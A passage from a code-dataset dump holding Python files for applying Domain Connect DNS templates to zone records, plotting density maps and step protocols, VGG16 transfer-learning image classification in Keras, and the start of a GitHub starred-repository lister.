exist on the record.\n#\n# The name should should be specified relative to the root zone name.\n# zone file in the domain foo.com, www.bar.foo.com would be listed as www.bar\n#\n# A value of '' or @ in the name field maps to the domain.\n#\n# When a domain/host is allowed in the data field, this should be a fully qualified domain name without a trailing dot.\n#\n# All records havea 'type'. Depending on the type, additional fields are required. Unless otherwise stated all data is a string.\n#\n# A: name, data, ttl (int)\n# AAAA: name, data, ttl (int)\n# CNAME: name, data, ttl (int)\n# NS: name, data, ttl (int)\n# TXT: name, data, ttl (int)\n# MX: name, data, ttl(int), priority (int)\n# SRV: name, data, ttl(int), protocol, service, priority (int), weight (int), port (int)\n#\n\n#------------------------------------------------------------------------\n# Exceptions\n#\n# These are exceptions that can be thrown when reading and applying templates\n#\nclass InvalidTemplate(Exception):\n pass\n\nclass HostRequired(Exception):\n pass\n\nclass InvalidSignature(Exception):\n pass\n\nclass MissingParameter(Exception):\n pass\n\nclass InvalidData(Exception):\n pass\n\n#--------------------------------------------------\n# process_variables\n#\n# Handles replacing variables in an input string from a template.\n#\n# Other inputs are the domain/host/params dictionary.\n#\n# Variables values in a domain connect template can be:\n#\n# %domain%\n# %host%\n# %fqdn% ([host.]domain)\n# @ (equal to fqdn)\n# A key/value from the parameters\n#\n# All variables in the template and the input are case insensitive.\n#\n# When the inputStr is the host/name field from a template record there is some extra processing.\n# This is because the host/name are relative to the host within the zone. This function will\n# convert the host/name to be relative to the domain (not host) within the zone.\n#\n# So a host/name xyz with a domain foo.com and a host of bar will map to xyz.bar.\n#\ndef process_variables(inputStr, domain, host, params, recordKey):\n\n ci = 0\n\n while inputStr.find('%', ci) != -1:\n\n # Find the next variable to process\n start = inputStr.find('%', ci) + 1\n end = inputStr.find('%', start)\n\n # Grab the variable name (both original and lower case)\n varName = inputStr[start:end]\n varNameLower = varName.lower()\n\n # Calculate the value\n if varNameLower == 'fqdn':\n if host:\n value = host + '.' + domain\n else:\n value = domain + '.'\n elif varNameLower == 'domain':\n value = domain\n elif varNameLower == 'host':\n value = host\n elif varNameLower in params:\n value = params[varNameLower]\n else:\n raise MissingParameter(\"No value for parameter '\" + varName + \"'\")\n\n # Place the value into the input string\n inputStr = inputStr.replace('%' + varName + '%', value)\n\n # Advance passed this, as the value might have had a % \n ci = start + len(value)\n\n # If we are processing the name/host field from the template, modify the path to be relative\n # to the host being applied.\n if recordKey == 'name' or recordKey == 'host':\n if not inputStr or inputStr == '@':\n if host:\n inputStr = host\n else:\n inputStr = '@'\n else:\n if host:\n inputStr = inputStr + '.' + host\n\n # If we are processing the target/pointsTo, a null or empty maps to the fqdn being applied\n elif recordKey == 'target' or recordKey == 'pointsTo':\n if not inputStr or inputStr == '@':\n if host:\n inputStr = host + '.' + domain\n else:\n inputStr = domain\n\n return inputStr\n\n#-------------------------------------------------------------\n# process_txt\n#\n# Will process a txt record from a template.\n#\n# This results in marking zone_records for deletion, and adding additional\n# records in new_records\n#\n# A TXT record in the template will delete any CNAME in the zone of the same host value.\n#\n# It will delete TXT records in the zone according to the txtConflict settings.\n#\ndef process_txt(template_record, zone_records, new_records):\t\n\n # Add the new record\n new_records.append({'type': 'TXT', 'name': template_record['host'], 'data' : template_record['data'], 'ttl': int(template_record['ttl'])})\n\n # Handle any conflicting deletes\n for zone_record in zone_records:\n zone_record_type = zone_record['type'].upper()\n\n # We conflict against TXT or CNAME with the same host\n\n if zone_record_type not in ['TXT', 'CNAME'] or \\\n zone_record['name'].lower() != template_record['host'].lower():\n continue\n\n # Delete the CNAME\n if zone_record_type == 'CNAME':\n \n zone_record['_delete'] = 1\n\n # Delete the TXT according to the matching rules\n elif zone_record_type == 'TXT':\n if 'txtConflictMatchingMode' in template_record:\n matching_mode = template_record['txtConflictMatchingMode']\n else:\n matching_mode = 'None'\n\n if matching_mode == 'All':\n zone_record['_delete'] = 1\n elif matching_mode == 'Prefix' and zone_record['data'].startswith(template_record['txtConflictMatchingPrefix']):\n zone_record['_delete'] = 1\n\n#-------------------------------------------------------------\n# process_spfm\n#\n# Will process an spfm record from a template.\n#\n# This results in marking zone_records for deletion, and adding additional\n# records in new_records\n#\n# An spfm record in the template will merge the data in with existing spf TXT records, or\n# will create a new spf TXT record.\n#\ndef process_spfm(template_record, zone_records, new_records):\n \n found_spf = False\n \n for zone_record in zone_records:\n \n # See if we have an spf record\n if zone_record['type'].upper() == 'TXT' and \\\n zone_record['name'].lower() == template_record['host'].lower() and \\\n zone_record['data'].startswith('v=spf1 '):\n\n # If our rule is not already in the spf rules, merge it in\n if zone_record['data'].find(template_record['spfRules']) == -1: \n \n # We will delete the old record for spf\n zone_record['_delete'] = 1\n\n # Calculate the new spf data\n spfData = zone_record['data']\n spfData = spfData[7:]\n spfData = 'v=spf1 ' + template_record['spfRules'] + ' ' + spfData\n\n # Store the new record\n new_records.append({'type': 'TXT', 'name': template_record['host'], 'data': spfData, 'ttl': 6000})\n \n found_spf = True\n break\n\n # If we didn't have an spf record, add a new one\n if not found_spf:\n new_records.append({'type': 'TXT', 'name': template_record['host'], 'data': 'v=spf1 ' + template_record['spfRules'] + ' -all', 'ttl': 6000})\n\n#-------------------------------------------------------------\n# process_srv\n#\n# Will process an srv record from a template.\n#\n# This results in marking zone_records for deletion, and adding additional\n# records in new_records\n#\n# An srv record in the template will delete all existing srv records in the zone of\n# the same name.\n#\ndef process_srv(template_record, zone_records, new_records):\n\n new_record = {'type': 'SRV', 'name': template_record['name'], 'data': template_record['target'], 'ttl': int(template_record['ttl']), 'protocol': template_record['protocol'], 'service': template_record['service'], 'priority': int(template_record['priority']), 'weight': int(template_record['weight']), 'port': int(template_record['port'])}\n new_records.append(new_record)\n\n for zone_record in zone_records:\n if zone_record['type'].upper() == 'SRV' and zone_record['name'].lower() == template_record['name'].lower():\n zone_record['_delete'] = 1\n\n#-------------------------------------------------------------------\n# process_ns\n#\n# Will process a NS template record. The host is always set for an NS record (it will not be @)\n#\ndef process_ns(template_record, zone_records, new_records):\n\n # Add the new record\n new_record = {'type': template_record['type'].upper(), 'name': template_record['host'], 'data': template_record['pointsTo'], 'ttl': int(template_record['ttl'])}\n new_records.append(new_record)\n\n # Delete any record in the zone that conflicts with this new record.\n #\n # If the new record is at bar, delete bar, foo.bar, www.foo.bar, but not xbar\n template_record_name = template_record['host'].lower()\n \n for zone_record in zone_records:\n\n zone_record_name = zone_record['name'].lower()\n \n if zone_record_name == template_record_name or zone_record_name.endswith('.' + template_record_name):\n zone_record['_delete'] = 1\n\n\n#-------------------------------------------------------------\n# process_other\n#\n# Will process all other record types from a template. This includes A, AAAA, MX, and CNAME.\n#\n# This results in marking zone_records for deletion, and adding additional\n# records in new_records\n#\n\n_delete_map = {\n 'A' : ['A', 'AAAA', 'CNAME'],\n 'AAAA' : ['A', 'AAAA', 'CNAME'],\n 'MX' : ['MX', 'CNAME'],\n 'CNAME' : ['A', 'AAAA', 'CNAME', 'MX', 'TXT']\n}\n \ndef process_other(template_record, zone_records, new_records):\n\n record_type = template_record['type'].upper()\n\n # Add the new record\n new_record = {'type': record_type, 'name': template_record['host'], 'data': template_record['pointsTo'], 'ttl': int(template_record['ttl'])}\n \n if record_type == 'MX':\n new_record['priority'] = template_record['priority']\n\n new_records.append(new_record)\n\n # Mark records in the zone for deletion\n for zone_record in zone_records:\n\t\t\n zone_record_type = zone_record['type'].upper()\n \n if zone_record_type in _delete_map[record_type] and \\\n zone_record['name'].lower() == template_record['host'].lower():\n zone_record['_delete'] = 1\n\n#--------------------------------------------------\n# process_records\n#\n# Will process the template records to the zone using the domain/host/params\n#\ndef process_records(template_records, zone_records, domain, host, params, groupIds):\n\n # This will contain the new records\n new_records = []\n\n # Process each record in the template\n for template_record in template_records:\n\n # If we passed ina group, only apply templates as part of the group\n if groupIds and 'groupId' in template_record and template_record['groupId'] not in groupIds:\n continue\n\n # Get the record type\n template_record_type = template_record['type'].upper()\n\n # We can only handle certain record types\n if template_record_type not in ['A', 'AAAA', 'MX', 'CNAME', 'TXT', 'SRV', 'SPFM', 'NS']:\n raise TypeError('Unknown record type (' + template_record_type + ') in template')\n\n # Deal with the variables and validation \n\n # Deal with the host/name \n if template_record_type in ['A', 'AAAA', 'MX', 'CNAME', 'TXT', 'SPFM', 'NS']:\n template_record['host'] = process_variables(template_record['host'], domain, host, params, 'host')\n\n if template_record_type in ['A', 'AAAA', 'MX', 'NS']:\n if not validate.is_valid_host_other(template_record['host'], False):\n raise InvalidData('Invalid data for ' + template_record_type + ' host: ' + template_record['host'])\n elif template_record_type in ['TXT', 'SPFM']:\n if not validate.is_valid_host_other(template_record['host'], True):\n raise InvalidData('Invalid data for ' + template_record_type + ' host: ' + template_record['host'])\n elif template_record_type in ['CNAME']:\n if not validate.is_valid_host_cname(template_record['host']):\n raise InvalidData('Invalid data for ' + template_record_type + ' host: ' + template_record['host'])\n\n elif template_record_type in ['SRV']:\n template_record['name'] = process_variables(template_record['name'], domain, host, params, 'name')\n\n if not validate.is_valid_host_srv(template_record['name']):\n raise InvalidData('Invalid data for SRV name: ' + template_record['name'])\n \n # Points To / Target\n if template_record_type in ['A', 'AAAA', 'MX', 'CNAME', 'NS']:\n template_record['pointsTo'] = process_variables(template_record['pointsTo'], domain, host, params, 'pointsTo')\n \n if template_record_type in ['MX', 'CNAME', 'NS']:\n if not validate.is_valid_pointsTo_host(template_record['pointsTo']):\n raise InvalidData('Invalid data for ' + template_record_type + ' pointsTo: ' + template_record['pointsTo'])\n \n elif template_record_type in ['A']:\n if not validate.is_valid_pointsTo_ip(template_record['pointsTo'], 4):\n raise InvalidData('Invalid data for A pointsTo: ' + template_record['pointsTo'])\n \n elif template_record_type in ['AAAA']:\n if not validate.is_valid_pointsTo_ip(template_record['pointsTo'], 6):\n raise InvalidData('Invalid data for AAAA pointsTo: ' + template_record['pointsTo'])\n\n elif template_record_type in ['SRV']:\n template_record['target'] = process_variables(template_record['target'], domain, host, params, 'target')\n\n if not validate.is_valid_pointsTo_host(template_record['target']):\n raise InvalidData('Invalid data for SRV target: ' + template_record['target'])\n\n # SRV has a few more records that need to be processed and validated\n if template_record_type in ['SRV']:\n template_record['protocol'] = process_variables(template_record['protocol'], domain, host, params, 'protocol')\n\n if template_record['protocol'] not in ['TCP', 'UDP']:\n raise InvalidData('Invalid data for SRV protocol: ' + template_record['protocol'])\n\n template_record['service'] = process_variables(template_record['service'],domain, host, params, 'service')\n if not validate.is_valid_pointsTo_host(template_record['service']):\n raise InvalidData('Invalid data for SRV service: ' + template_record['service'])\n\n # Couple of simple things in a TX and SPFM record\n if template_record_type in ['TXT']:\n template_record['data'] = process_variables(template_record['data'], domain, host, params, 'data')\n \n if template_record_type in ['SPFM']:\n template_record['spfRules'] = process_variables(template_record['spfRules'], domain, host, params, 'spfRules')\n\n\n # Handle the proper processing for each template record type\n if template_record_type in ['SPFM']:\n process_spfm(template_record, zone_records, new_records)\n elif template_record_type in ['TXT']:\n process_txt(template_record, zone_records, new_records)\n elif template_record_type in ['SRV']:\n process_srv(template_record, zone_records, new_records)\n else:\n if template_record_type in ['CNAME', 'NS'] and template_record['host'] == '@':\n raise HostRequired('Cannot have APEX CNAME or NS without host')\n\n if template_record_type in ['NS']:\n process_ns(template_record, zone_records, new_records)\n else:\n process_other(template_record, zone_records, new_records)\n\n if template_record_type in ['SRV']:\n template_record_name = template_record['name'].lower()\n else:\n template_record_name = template_record['host'].lower()\n\n # Setting any record with a non root host should delete any NS records at the same host.\n #\n # So if we set bar, foo.bar, www.foo.bar it should delete NS records of bar. But not xbar\n if template_record_type != 'NS' and template_record_name != '@':\n\n # Delete any records \n for zone_record in zone_records:\n if zone_record['type'].upper() == 'NS':\n zone_record_name = zone_record['name'].lower()\n\n if template_record_name == zone_record_name or template_record_name.endswith('.' + zone_record_name):\n zone_record['_delete'] = 1\n \n\n # Now compute the final list of records in the zone, and the records to be deleted\n deleted_records = []\n final_records = []\n\n # Add all the new records to the final record list\n for new_record in new_records:\n final_records.append(new_record)\n\n # Add the records in the zone that weren't being deleted, and clean up the _delete setting\n for zone_record in zone_records:\n if not '_delete' in zone_record:\n final_records.append(zone_record)\n else:\n del zone_record['_delete']\n deleted_records.append(zone_record)\n\n return new_records, deleted_records, final_records\n\n#--------------------------------------------------\n# prompt_variables\n#\n# Given an input string will prompt for a variable value, adding the key/value to the passed in dictionary\n#\ndef prompt_variables(template_record, inputStr, params):\n leading = False\n while inputStr.find('%') != -1:\n\n start = inputStr.find('%') + 1\n end = inputStr.find('%', start)\n varName = inputStr[start:end]\n\n if varName not in ['fqdn', 'domain', 'host', '@'] and varName not in params:\n if not leading:\n print(template_record)\n leading = True\n\n print('Enter value for ' + varName + ':')\n v = raw_input()\n params[varName] = v\n\n inputStr = inputStr.replace('%' + varName + '%', '')\n\n#--------------------------------------------------------\n# prompt_records\n#\n# Will prompt for the variable values in each record in the template\n#\ndef prompt_records(template_records):\n\n params = {}\n \n for template_record in template_records:\n template_record_type = template_record['type']\n\n if template_record_type in ['A', 'AAAA', 'MX', 'CNAME', 'NS', 'TXT', 'SPFM']:\n prompt_variables(template_record, template_record['host'], params)\n\n if template_record_type in ['A', 'AAAA', 'MX', 'CNAME', 'NS']:\n prompt_variables(template_record, template_record['pointsTo'], params)\n\n if template_record_type in ['TXT']:\n prompt_variables(template_record, template_record['data'], params)\n\n if template_record_type in ['SPFM']:\n prompt_variables(template_record, template_record['spfRules'], params)\n\n if template_record_type in ['SRV']:\n prompt_variables(template_record, template_record['name'], params)\n prompt_variables(template_record, template_record['target'], params)\n prompt_variables(template_record, template_record['protocol'], params)\n prompt_variables(template_record, template_record['service'], params)\n\n return params\n\nimport os\n\n#---------------------------------------------------------\n# DomainConnect\n#\n# Two main entry points. One to apply a template. The other to prompt\n# for variables in a template\n#\nclass DomainConnect:\n\n def __init__(self, providerId, serviceId):\n self.providerId = providerId\n self.serviceId = serviceId\n \n # Read in the template\n try:\n fileName = os.path.dirname(os.path.realpath(__file__)) + '/templates/' + providerId.lower() + '.' + serviceId.lower() + '.json'\n with open(fileName, 'r') as myFile:\n jsonString = myFile.read()\n\n self.jsonData = json.loads(jsonString)\n except:\n raise InvalidTemplate\n\n #-------------------------------------------------\n # VerifySig\n #\n # This method will verify a signature of a query string.\n #\n # In Domain Connect a signed query string comes in with the domain, parameters, the signature\n # (sig=) and a key to read the public key (key=).\n #\n # The signature is generated based on the qs without the sig= or key=. The sig is of course\n # the signature. The key is used to fetch the public key from DNS.\n #\n # The public key is published in DNS in the zone specified in syncPubKeyDomain from the template\n # at the host .\n #\n # This method will raise an execption if the signature fails. It will return if it suceeds.\n #\n def VerifySig(self, qs, sig, key, ignoreSignature=False):\n\n if ignoreSignature:\n return\n\n if not qs or not sig or not key:\n raise InvalidSignature('Missing data for signature verification')\n \n syncPubKeyDomain = self.jsonData['syncPubKeyDomain']\n pubKey = sigutil.get_publickey(key + '.' + syncPubKeyDomain)\n \n if not pubKey:\n raise InvalidSignature('Unable to get public key for template/key from ' + key + '.' + syncPubKeyDomain)\n\n if not sigutil.verify_sig(pubKey, sig, qs):\n raise InvalidSignature('Signature not valid')\n\n #----------------------------------------\n # ApplyTemplate\n #\n # Will apply the template to the zone\n #\n # Input:\n #\n # The zone_records is a list of dictionary containing an copy of all the records in\n # the zone for the domain. Each dictionary adheres to the schema for a zone record described above.\n #\n # domain/host describe the fqdn to apply.\n #\n # params contains the parameters for variable substitution.\n #\n # qs/sig/key are passed in if signature verification is required\n #\n # Output:\n #\n # This function will return three values as a tuple of:\n #\n # (new_records, deleted_records, final_records)\n #\n # new_records are the new records to be added to the zone\n #\n # deleted_records are the records that should be deleted from the zone\n #\n # final_records contains all records that would be in the zone (new_records plus records that weren't\n # deleted from the zone).\n #\n def Apply(self, zone_records, domain, host, params, groupIds=None, qs=None, sig=None, key=None, ignoreSignature=False):\n\n # Domain and host should be lower cased\n domain = domain.lower()\n host = host.lower()\n\n # Convert the params to all lower case\n newParams = {}\n for k in params:\n newParams[k.lower()] = params[k]\n params = newParams\n\n # If the template requires a host, return\n if 'hostRequired' in self.jsonData and self.jsonData['hostRequired'] and not host:\n raise HostRequired('Template requires a host name')\n\n # See if the template requires a signature\n if 'syncPubKeyDomain' in self.jsonData and self.jsonData['syncPubKeyDomain']:\n self.VerifySig(qs, sig, key, ignoreSignature)\n \n # Process the records in the template\n return process_records(self.jsonData['records'], zone_records, domain, host, params, groupIds)\n \n #------------------------------------\n # IsSignatureRequired\n #\n # Will indicate if the template requires a signature\n #\n def IsSignatureRequired(self):\n if 'syncPubKeyDomain' in self.jsonData:\n return True\n \n return False\n\n #-----------------------------------\n # Prompt\n #\n # Will prompt for values for a template\n #\n def Prompt(self):\n\n print('Getting parameters for ' + self.jsonData['providerName'] + ' to enable ' + self.jsonData['serviceName']) \n if 'variableDescription' in self.jsonData:\n print(self.jsonData['variableDescription'])\n\n # Prompt for records in the template\n return prompt_records(self.jsonData['records'])\n\n","sub_path":"DomainConnect.py","file_name":"DomainConnect.py","file_ext":"py","file_size_in_byte":25819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"581409584","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nimport sys,os\nfrom sklearn.neighbors import KernelDensity\n\ndef density_map(X,kde=None,savefile='test.png',show=True,xlabel=None,ylabel=None):\n plt.rc('text', usetex=True)\n font = {'family' : 'serif', 'size' : 40}\n plt.rc('font', **font)\n\n fig = plt.figure(figsize=(8,6))\n ax = fig.add_subplot(111) \n n_mesh=400\n xmin,xmax = np.percentile(X[:,0],q=10.),np.max(X[:,0])\n #xmin, xmax = np.min(X[:,0]),np.max(X[:,0])\n dx = xmax - xmin\n ymin, ymax = np.min(X[:,1]),np.max(X[:,1])\n dy = ymax - ymin\n\n x = np.linspace(xmin-0.1*dx,xmax+0.1*dx, n_mesh)\n y = np.linspace(ymin-0.1*dy,ymax+0.1*dy, n_mesh)\n extent = (xmin-0.1*dx,xmax+0.1*dx,ymin-0.1*dy,ymax+0.1*dy)\n\n from sklearn import preprocessing as prep\n mms=prep.MinMaxScaler()\n\n my_map=plt.get_cmap(name='BuGn')\n\n #print(\"Kde estimation underway\")\n if kde is None:\n kde=KernelDensity(bandwidth=0.2, algorithm='kd_tree',atol=0.00001, rtol=0.000001)\n kde.fit(X)\n\n xy=np.array([[xi,yi] for yi in y for xi in x])\n #print(\"kk\")\n z = np.exp(kde.score_samples(xy))\n #print(\"ksdjfk\")\n z=mms.fit_transform(z.reshape(-1,1))\n Z=z.reshape(n_mesh, n_mesh)\n z=my_map(z)\n Zrgb = z.reshape(n_mesh, n_mesh, 4)\n\n \n Zrgb[Z < 0.005] = (1.0,1.0,1.0,1.0)\n\n plt.imshow(Zrgb, interpolation='bilinear',cmap='BuGn', extent=extent,origin='lower',aspect='auto',zorder=1)\n cb=plt.colorbar()\n cb.set_label(label='Density',labelpad=10)\n\n X1, Y1 = np.meshgrid(x,y)\n plt.contour(X1, Y1, Z, levels=np.linspace(0.05,0.8,5), linewidths=0.3, colors='k', extent=extent,zorder=2)\n ax.grid(False)\n\n if xlabel is not None:\n plt.xlabel(xlabel)\n if ylabel is not None:\n plt.ylabel(ylabel)\n\n #plt.show()\n\n\ndef protocol(time_slice,protocol_array,title=None,out_file=None,labels=None,show=True,ylabel='$h_x(t)$',xlabel=\"$t$\"):\n \"\"\"\n Purpose:\n Plots protocol vs time in latex form\n \"\"\"\n palette=[plt.get_cmap('Dark2')(0),plt.get_cmap('Dark2')(10),plt.get_cmap('Dark2')(20)]\n protocols=adjust_format(protocol_array)\n\n # fig size\n plt.figure(figsize=(8,4))\n \n n_curve=len(protocols)\n\n #palette = np.array(sns.color_palette('hls',n_curve))\n fontsize=15\n ext_ts=np.hstack((time_slice,time_slice[-1]+time_slice[1]-time_slice[0]))\n \n if labels is not None:\n for i,p in zip(range(n_curve),protocols):\n ext_p=np.hstack((p,p[-1]))\n plt.step(ext_ts,ext_p,'-',clip_on=False,c=palette[i],label=labels[i],where='post')\n plt.plot(time_slice,p,'o',clip_on=False,c=palette[i])\n plt.legend(loc='best', shadow=True,fontsize=fontsize)\n \n else:\n for i,p in zip(range(n_curve),protocols):\n ext_p=np.hstack((p,p[-1]))\n plt.step(ext_ts,ext_p,'-',clip_on=False,c=palette[i],where='post')\n plt.plot(time_slice,p,'o',clip_on=False,c=palette[i])\n \n if title is not None:\n plt.title(title,fontsize=fontsize)\n\n plt.tick_params(labelsize=fontsize)\n \n\n plt.xlim([np.min(ext_ts),np.max(ext_ts)])\n if xlabel is not None:\n plt.xlabel(xlabel,fontsize=fontsize+4)\n if ylabel is not None:\n plt.ylabel(ylabel,fontsize=fontsize+4)\n \n # avoids x axis label being cut off\n plt.tight_layout()\n if out_file is not None:\n plt.savefig(out_file)\n if show:\n plt.show()\n plt.close()\n\n\ndef adjust_format(my_array):\n if isinstance(my_array, np.ndarray):\n if len(my_array.shape)==1:\n return [my_array]\n else:\n return my_array\n elif isinstance(my_array,list):\n e1=my_array[0]\n if isinstance(e1,np.ndarray):\n return my_array\n elif isinstance(e1,list):\n return my_array\n else:\n return [np.array(my_array)]\n else:\n assert False\n\n\n\n\n\n\n\ndef main():\n print(\"heelo\")\n #n_cluster=3\n #from sklearn.datasets import make_blobs\n #X,y=make_blobs(n_samples=1000,random_state=0,centers=n_cluster)\n\n #for i in range(n_cluster):\n # Xi=X[y==i]\n # plt.scatter(Xi[:,0],Xi[:,1])\n #plt.show()\n #kde=KernelDensity(bandwidth=0.2, algorithm='kd_tree')#, atol=0.00001, rtol=0.000001)\n #kde.fit(X)\n #z=kde.score_samples(X)\n #plt.scatter(X[:,0],X[:,1],c=z,cmap='coolwarm')\n #plt.show()\n #density_map(X)\n\nif __name__== \"__main__\":\n main()","sub_path":"SA_v2/analysis/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":4448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"475327420","text":"import os\nimport h5py\nimport numpy as np\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, ZeroPadding2D\nfrom keras.layers import Activation, Dropout, Flatten, Dense\nfrom keras.callbacks import ModelCheckpoint\n\n#Define shape with number of colour chanels first\nfrom keras import backend as bke\nbke.set_image_dim_ordering('th')\n\n\npesosvgg16 = 'vgg16_weights_tf_dim_ordering_tf_kernels_notop.h5' #Weigths without neuon layers\nclasificadorpath = 'BK4.h5'\nimg_width, img_height = 160, 120\ntrain_data_dir = 'BK4'\nnb_train_samples = 10048\ntest_data_dir = 'Test'\nnb_test_samples = 512\nnb_epoch = 100\n\n\ndef firstlayers():\n datagen = ImageDataGenerator(rescale=1./255, data_format='channels_first')\n\n model = Sequential()\n\n model.add(ZeroPadding2D((1, 1), input_shape=(3, img_width, img_height)))\n model.add(Conv2D(64, (3, 3), activation='relu', name='block1_conv1'))\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(64, (3, 3), activation='relu', name='block1_conv2'))\n model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block1_pool'))\n\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(128, (3, 3), activation='relu', name='block2_conv1'))\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(128, (3, 3), activation='relu', name='block2_conv2'))\n model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool'))\n\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(256, (3, 3), activation='relu', name='block3_conv1'))\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(256, (3, 3), activation='relu', name='block3_conv2'))\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(256, (3, 3), activation='relu', name='block3_conv3'))\n model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block3_pool'))\n\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(512, (3, 3), activation='relu', name='block4_conv1'))\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(512, (3, 3), activation='relu', name='block4_conv2'))\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(512, (3, 3), activation='relu', name='block4_conv3'))\n model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block4_pool'))\n\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(512, (3, 3), activation='relu', name='block5_conv1'))\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(512, (3, 3), activation='relu', name='block5_conv2'))\n model.add(ZeroPadding2D((1, 1)))\n model.add(Conv2D(512, (3, 3), activation='relu', name='block5_conv3'))\n model.add(MaxPooling2D((2, 2), strides=(2, 2), name='block5_pool'))\n\n\n #Transfer Learning ImageNet-VGG16 (weights from convolutional layers)\n f = h5py.File(pesosvgg16)\n\n keysVGG16 = f.keys() #VGG16 leyer names\n\n #Search equal name layers and assign weights to layer of my CNN\n for nlayerVGG in range(len(f.keys())) : #traverse VGG16 weights layers\n nameLayer = keysVGG16[nlayerVGG]\n #print(\"VGG16 layer loop: \" + nameLayer)\n for nlayerMine in range(len(model.layers)) : #traverse my VGG16 structure\n #print(\"... searching layer: \" + model.layers[nlayerMine].get_config()['name'])\n if nameLayer == model.layers[nlayerMine].get_config()['name'] :\n g = f[nameLayer]\n weights = [g[format(p)] for p in g.keys()]\n model.layers[nlayerMine].set_weights(weights)\n print(\"ASSIGN weights: from \" + nameLayer + \" ---> \" + model.layers[nlayerMine].get_config()['name'])\n break\n\n f.close() #Close VGG16 weights file reading\n\n print('Weights assigned')\n\n #TRAIN images cross conv-maxpool layer blocks and save\n generator = datagen.flow_from_directory(\n train_data_dir,\n target_size=(img_width, img_height),\n batch_size=32,\n class_mode=None,\n shuffle=False)\n\n firstlayerstrain = model.predict_generator(generator, nb_train_samples/32)\n print(\"convolution Train shape: \" + repr(firstlayerstrain.shape))\n np.save(open('convolutionedTrainImages.npy', 'wb'), firstlayerstrain)\n\n #TEST images cross conv-maxpool layer blocks and save\n generatorTest = datagen.flow_from_directory(\n test_data_dir,\n target_size=(img_width, img_height),\n batch_size=32,\n class_mode=None,\n shuffle=False)\n firstlayersTest = model.predict_generator(generatorTest, nb_test_samples/32)\n print(\"convolution Test shape: \" + repr(firstlayersTest.shape))\n np.save(open('convolutionedTestImages.npy', 'wb'), firstlayersTest)\n\n print('......Model and Data generation FINISHED')\n\n\n\ndef clasificador():\n print(\"Start function <>\")\n\n datagen = ImageDataGenerator(rescale=1./255, data_format='channels_first')\n generator = datagen.flow_from_directory(\n train_data_dir,\n target_size=(img_width, img_height),\n batch_size=32,\n class_mode='categorical',\n shuffle=False)\n\n labels = []\n i = 0\n for _, y in generator:\n i += len(y)\n labels.append(y)\n if i == nb_train_samples:\n break\n labels = np.concatenate(labels)\n\n train_data = np.load(open('convolutionedTrainImages.npy','rb'))\n print(\"Train data: \" + repr(train_data.shape))\n print(\"Labels before: \" + repr(labels.shape))\n train_labels = labels[:(nb_train_samples/32*32)] #take integer number of images depends on batch size\n print(\"Labels after: \" + repr(train_labels.shape))\n\n print(train_data.shape[1:])\n model = Sequential()\n model.add(Flatten(input_shape=train_data.shape[1:]))\n model.add(Dense(512, activation='relu'))\n model.add(Dropout(0.5))\n #model.add(Dense(28, activation='softmax'))\n #model.add(Dense(102, activation='softmax'))\n model.add(Dense(100, activation='softmax'))\n\n model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n #create callback to save best step model\n filepath=\"weightsBK4best.hdf5\"\n checkpoint = ModelCheckpoint(filepath, monitor='acc', verbose=1, save_best_only=True, mode='max')\n callbacks_list = [checkpoint]\n\n print(\"Trining........\")\n model.fit(train_data, train_labels, epochs=nb_epoch, callbacks=callbacks_list)\n\n #save model and weights\n model.save_weights(clasificadorpath)\n model_json = model.to_json()\n with open(\"modelBK4.json\", \"w\") as json_file:\n json_file.write(model_json)\n\n print(\"Function finished <>\")\n\n\n\n##### MAIN execution ######\nfirstlayers()\nclasificador()\n","sub_path":"classification/VGG16-Exp100class/Bk4Pre.py","file_name":"Bk4Pre.py","file_ext":"py","file_size_in_byte":6650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"61927872","text":"#! env python3\n\nfrom github3 import GitHub\nfrom functools import total_ordering\nimport json\nimport argparse\nfrom collections import defaultdict\nimport os\nimport textwrap\n\n\nclass Tree(dict):\n def __init__(self):\n self.nodes = []\n\n def __missing__(self, key):\n keys = key.split('/')\n key = keys[0]\n if key not in self.keys():\n self[key] = value = Tree()\n else:\n value = self[key]\n\n if len(keys) > 1:\n return value['/'.join(keys[1:])]\n else:\n return value\n\n def walk(self, dep=0, name='ROOT'):\n yield (name, dep, self)\n for tree_name, tree in sorted(self.items()):\n for item in tree.walk(dep + 1, tree_name):\n yield item\n\n\n@total_ordering\nclass Repo(object):\n def __init__(self, repo):\n self.repo = repo\n\n @property\n def full_name(self):\n return str(self.repo)\n\n @property\n def owner(self):\n return self.repo.owner.login\n\n @property\n def name(self):\n return self.repo.name\n\n @property\n def url(self):\n return self.repo.html_url\n\n @property\n def description(self):\n return self.repo.description\n\n def __eq__(self, other):\n return (self.name.lower(), self.owner) \\\n == (other.name.lower(), other.owner)\n\n def __lt__(self, other):\n return (self.name.lower(), self.owner) \\\n < (other.name.lower(), other.owner)\n\n def __str__(self):\n return self.full_name\n\n\ndef get_star_repos(user):\n gh = GitHub()\n stars = gh.starred_by(user)\n return list(map(Repo, stars))\n\n\ndef get_alias_converter():\n if os.path.isfile('alias.json'):\n with open('alias.json', 'r') as alias_config:\n alias = json.load(alias_config, object_hook=dict)\n else:\n alias = {}\n\n def f(tag):\n for before, after in alias.items():\n if 